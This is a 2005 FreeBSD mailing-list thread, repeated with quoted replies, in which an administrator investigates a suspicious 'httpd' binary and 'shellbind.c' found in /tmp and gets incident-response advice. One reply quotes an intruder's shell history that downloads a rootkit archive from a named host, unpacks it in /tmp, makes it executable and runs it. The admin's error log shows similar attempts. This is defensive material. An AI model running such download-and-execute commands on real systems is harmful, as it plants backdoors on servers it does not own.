Re: httpd in /tmp - Sound advice sought
hi [Tue, Feb 08, 2005 at 10:46:19AM -0600] This one time, at band camp, Bret Walker said: Redmond- Here is the response I got from the list. I also found another file - shellbind.c - it's essentially this - http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html (although phpBB has never been installed). I had register_globals on in PHP for a month+ because a reservation system I was using required them. I now know better. We also had php errors set to display for a while as bugs were being worked out. The owner of this file is www, so it was put in /tmp by the apache daemon. I messed the file up trying to tar it, so I can't get a good md5. Register globals and php file uploads are both off now. I don't think the system was compromised because anything written to /tmp (which is the temp dir php defaults to) could not be executed. Do you think we're safe to continue as is? this person is telling you that slapper is nothing to worry about because it's a linux only virus - but if you didn't put httpd in /tmp then you should be worried about this situation. this is probably your call what you want to do. Also, I would like to talk with you about what preventative measures you take with herald. I know you run tripwire, but what else do you do on a regular basis? one thing i do is i read /var/log/messages every day. do you do that? Bret -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Mark A. Garcia Sent: Tuesday, February 08, 2005 9:57 AM To: Bret Walker Cc: freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. Thanks, Bret Slapper is a linux only virus. You shouldn't have to worry about it doing harm on your freebsd machine. Seeing as the binary was in your tmp directory on your system, and that you might have not placed it there, this could be a good reason for a host of other things to look into. The httpd binary with 96d= ssl is not a virus itself, just a means to carry out the exploit. The slapper virus is a bunch of c-code that is put in your tmp directory and the exploit allows one to compile, chmod, and execute the code, leaving open a backdoor. chrootkit does scan for the comparable scalper virus which is a freebsd cousin to the slapper (in that they attempt to exploit the machine via the apache conduit.) I would think real hard, if you did put the httpd binary in there. If you are sure you didn't, and you are the only one with access to the system, then I would be very very worried. Running tripwire and chrootkit on a periodic basis should help. Re-installing the os isn't your only solution, but it does give comfort knowing that after a reinstall, and locking down the box, no one has a in on your system. This could be overboard though. You also might want to consider enabling the clean_tmp scripts. Next time tar up those suspicious files, a quick forensics on them can do wonders (md5sum, timestamps, ownership, permissions.) Cheers, -.mag ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions
Re: httpd in /tmp - Sound advice sought
[Tue, Feb 08, 2005 at 01:43:36PM -0600] This one time, at band camp, Bret Walker said: I do read it, but not every day (weekends, especially). i use logcheck to mail me the messages log every 15 mins Do you have a way for suspicious activity to be reported to you? logcheck, and portsentry as well Also, I'm tarring /usr and am going to run a diff on it compared to a clean install. Bret -Original Message- From: Redmond Militante [mailto:[EMAIL PROTECTED] Sent: Tuesday, February 08, 2005 1:45 PM To: Bret Walker Subject: Re: httpd in /tmp - Sound advice sought hi [Tue, Feb 08, 2005 at 10:46:19AM -0600] This one time, at band camp, Bret Walker said: Redmond- Here is the response I got from the list. I also found another file - shellbind.c - it's essentially this - http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html (although phpBB has never been installed). I had register_globals on in PHP for a month+ because a reservation system I was using required them. I now know better. We also had php errors set to display for a while as bugs were being worked out. The owner of this file is www, so it was put in /tmp by the apache daemon. I messed the file up trying to tar it, so I can't get a good md5. Register globals and php file uploads are both off now. I don't think the system was compromised because anything written to /tmp (which is the temp dir php defaults to) could not be executed. Do you think we're safe to continue as is? this person is telling you that slapper is nothing to worry about because it's a linux only virus - but if you didn't put httpd in /tmp then you should be worried about this situation. this is probably your call what you want to do. Also, I would like to talk with you about what preventative measures you take with herald. I know you run tripwire, but what else do you do on a regular basis? one thing i do is i read /var/log/messages every day. do you do that? Bret -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Mark A. Garcia Sent: Tuesday, February 08, 2005 9:57 AM To: Bret Walker Cc: freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. Thanks, Bret Slapper is a linux only virus. You shouldn't have to worry about it doing harm on your freebsd machine. Seeing as the binary was in your tmp directory on your system, and that you might have not placed it there, this could be a good reason for a host of other things to look into. The httpd binary with 96d= ssl is not a virus itself, just a means to carry out the exploit. The slapper virus is a bunch of c-code that is put in your tmp directory and the exploit allows one to compile, chmod, and execute the code, leaving open a backdoor. chrootkit does scan for the comparable scalper virus which is a freebsd cousin to the slapper (in that they attempt to exploit the machine via the apache conduit.) I would think real hard, if you did put the httpd binary in there. If you
Re: httpd in /tmp - Sound advice sought
ok [Tue, Feb 08, 2005 at 02:40:19PM -0600] This one time, at band camp, Bret Walker said: Thanks. Could you send me your conf file for portsentry so I can see how you do it? Bret -Original Message- From: Redmond Militante [mailto:[EMAIL PROTECTED] Sent: Tuesday, February 08, 2005 2:21 PM To: Bret Walker Subject: Re: httpd in /tmp - Sound advice sought [Tue, Feb 08, 2005 at 01:43:36PM -0600] This one time, at band camp, Bret Walker said: I do read it, but not every day (weekends, especially). i use logcheck to mail me the messages log every 15 mins Do you have a way for suspicious activity to be reported to you? logcheck, and portsentry as well Also, I'm tarring /usr and am going to run a diff on it compared to a clean install. Bret -Original Message- From: Redmond Militante [mailto:[EMAIL PROTECTED] Sent: Tuesday, February 08, 2005 1:45 PM To: Bret Walker Subject: Re: httpd in /tmp - Sound advice sought hi [Tue, Feb 08, 2005 at 10:46:19AM -0600] This one time, at band camp, Bret Walker said: Redmond- Here is the response I got from the list. I also found another file - shellbind.c - it's essentially this - http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html (although phpBB has never been installed). I had register_globals on in PHP for a month+ because a reservation system I was using required them. I now know better. We also had php errors set to display for a while as bugs were being worked out. The owner of this file is www, so it was put in /tmp by the apache daemon. I messed the file up trying to tar it, so I can't get a good md5. Register globals and php file uploads are both off now. I don't think the system was compromised because anything written to /tmp (which is the temp dir php defaults to) could not be executed. Do you think we're safe to continue as is? this person is telling you that slapper is nothing to worry about because it's a linux only virus - but if you didn't put httpd in /tmp then you should be worried about this situation. this is probably your call what you want to do. Also, I would like to talk with you about what preventative measures you take with herald. I know you run tripwire, but what else do you do on a regular basis? one thing i do is i read /var/log/messages every day. do you do that? Bret -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Mark A. Garcia Sent: Tuesday, February 08, 2005 9:57 AM To: Bret Walker Cc: freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. Thanks, Bret Slapper is a linux only virus. You shouldn't have to worry about it doing harm on your freebsd machine. Seeing as the binary was in your tmp directory on your system, and that you might have not placed it there, this could be a good reason for a host of other things to look into. The httpd binary with 96d= ssl is not a virus itself, just a means
Re: httpd in /tmp - Sound advice sought
i know a certain hacking group who is trying to run their trojan as httpd, i discovered that info through some shell account i am running, that has tried to start this rootkit on our machine. heres a short view from the shell's history: - wget geocities.com/setan_maya/taek.tar.gz cd .. ls cd .. ls cd tmp ls wget geocities.com/setan_maya/taek.tar.gz tar zxvf taek.tar.gz ls cd taek ./httpd chmod 755 httpd ./httpd ls cd .. rm -rf taek rm taek.tar.gz --- this clearly shows, that we have to do with a very dumb person, hence he 1. didnt cleaned his historyfile 2. left the tar.gz file in his homedir 3. loaded the rootkit from the same server he is running the group's webpage on. 4. has a link to their chan on that page, and in the chan as ive monitored for 48hrs, ive found them posting their successes directly and unencrypted. I have informed a number of providers and hosters, that had their webpage posted into that chan, and informed them about the breakins, so far i got no message back from them. of course, its a longshot, but they didnt seem to check first if the folder tmp has the executable bit set at all, and they named their client like the file youve found. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 08 February 2005 14:35, Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. Thanks, Bret -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
RE: httpd in /tmp - Sound advice sought
Thanks for letting me know. I found this in the my httpd error log: [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not exist: /usr/local/www/data/favicon.ico wget: permission denied ./httpd: not found shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows) [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer (errno: 54) I also found shellbind.c in my /tmp directory. Is there a way to tell what type of exploit was used to get these files on my system (ie OpenSSL / PHP register_globals)? I've been monitoring this server from a port that mirrors its traffic using Ethereal, and all seems to be okay now. I also cvsuped -Rr my apache+mod_ssl install. Thanks, Bret -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Oliver Leitner Sent: Wednesday, February 09, 2005 8:48 AM To: Bret Walker; freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought i know a certain hacking group who is trying to run their trojan as httpd, i discovered that info through some shell account i am running, that has tried to start this rootkit on our machine. heres a short view from the shell's history: - wget geocities.com/setan_maya/taek.tar.gz cd .. ls cd .. ls cd tmp ls wget geocities.com/setan_maya/taek.tar.gz tar zxvf taek.tar.gz ls cd taek ./httpd chmod 755 httpd ./httpd ls cd .. rm -rf taek rm taek.tar.gz --- this clearly shows, that we have to do with a very dumb person, hence he 1. didnt cleaned his historyfile 2. left the tar.gz file in his homedir 3. loaded the rootkit from the same server he is running the group's webpage on. 4. has a link to their chan on that page, and in the chan as ive monitored for 48hrs, ive found them posting their successes directly and unencrypted. I have informed a number of providers and hosters, that had their webpage posted into that chan, and informed them about the breakins, so far i got no message back from them. of course, its a longshot, but they didnt seem to check first if the folder tmp has the executable bit set at all, and they named their client like the file youve found. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 08 February 2005 14:35, Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need
Re: httpd in /tmp - Sound advice sought
not from the log output you just showed, id look back further on the webserver logs, and also take a look on other running processes on your server, ps auxf ... other good tools to find installed rootkits: rkhunter (youll find that in the ports collection, at least on a 5.3) sockstat.c (easy to find via google) and have a close look into your /proc fs, in case you have a procfs mounted. also check your webserver for world writeable directories, and for cross site scripting problems, that wget was called from the webserver looks like some kind of bug in a script, that is used by a webpage, that the attacker tried to use... On Wednesday 09 February 2005 18:41, Bret Walker wrote: Thanks for letting me know. I found this in the my httpd error log: [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not exist: /usr/local/www/data/favicon.ico wget: permission denied ./httpd: not found shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows) [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer (errno: 54) I also found shellbind.c in my /tmp directory. Is there a way to tell what type of exploit was used to get these files on my system (ie OpenSSL / PHP register_globals)? I've been monitoring this server from a port that mirrors its traffic using Ethereal, and all seems to be okay now. I also cvsuped -Rr my apache+mod_ssl install. Thanks, Bret -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Oliver Leitner Sent: Wednesday, February 09, 2005 8:48 AM To: Bret Walker; freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought i know a certain hacking group who is trying to run their trojan as httpd, i discovered that info through some shell account i am running, that has tried to start this rootkit on our machine. heres a short view from the shell's history: - wget geocities.com/setan_maya/taek.tar.gz cd .. ls cd .. ls cd tmp ls wget geocities.com/setan_maya/taek.tar.gz tar zxvf taek.tar.gz ls cd taek ./httpd chmod 755 httpd ./httpd ls cd .. rm -rf taek rm taek.tar.gz --- this clearly shows, that we have to do with a very dumb person, hence he 1. didnt cleaned his historyfile 2. left the tar.gz file in his homedir 3. loaded the rootkit from the same server he is running the group's webpage on. 4. has a link to their chan on that page, and in the chan as ive monitored for 48hrs, ive found them posting their successes directly and unencrypted. I have informed a number of providers and hosters, that had their webpage posted into that chan, and informed them about the breakins, so far i got no message back from them. of course, its a longshot, but they didnt seem to check first if the folder tmp has the executable bit set at all, and they named their client like the file youve found. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 08 February 2005 14:35, Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required
httpd in /tmp - Sound advice sought
Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. Thanks, Bret smime.p7s Description: S/MIME cryptographic signature
Re: httpd in /tmp - Sound advice sought
Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. Thanks, Bret Slapper is a linux only virus. You shouldn't have to worry about it doing harm on your freebsd machine. Seeing as the binary was in your tmp directory on your system, and that you might have not placed it there, this could be a good reason for a host of other things to look into. The httpd binary with 96d= ssl is not a virus itself, just a means to carry out the exploit. The slapper virus is a bunch of c-code that is put in your tmp directory and the exploit allows one to compile, chmod, and execute the code, leaving open a backdoor. chrootkit does scan for the comparable scalper virus which is a freebsd cousin to the slapper (in that they attempt to exploit the machine via the apache conduit.) I would think real hard, if you did put the httpd binary in there. If you are sure you didn't, and you are the only one with access to the system, then I would be very very worried. Running tripwire and chrootkit on a periodic basis should help. Re-installing the os isn't your only solution, but it does give comfort knowing that after a reinstall, and locking down the box, no one has a in on your system. This could be overboard though. You also might want to consider enabling the clean_tmp scripts. Next time tar up those suspicious files, a quick forensics on them can do wonders (md5sum, timestamps, ownership, permissions.) Cheers, -.mag ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
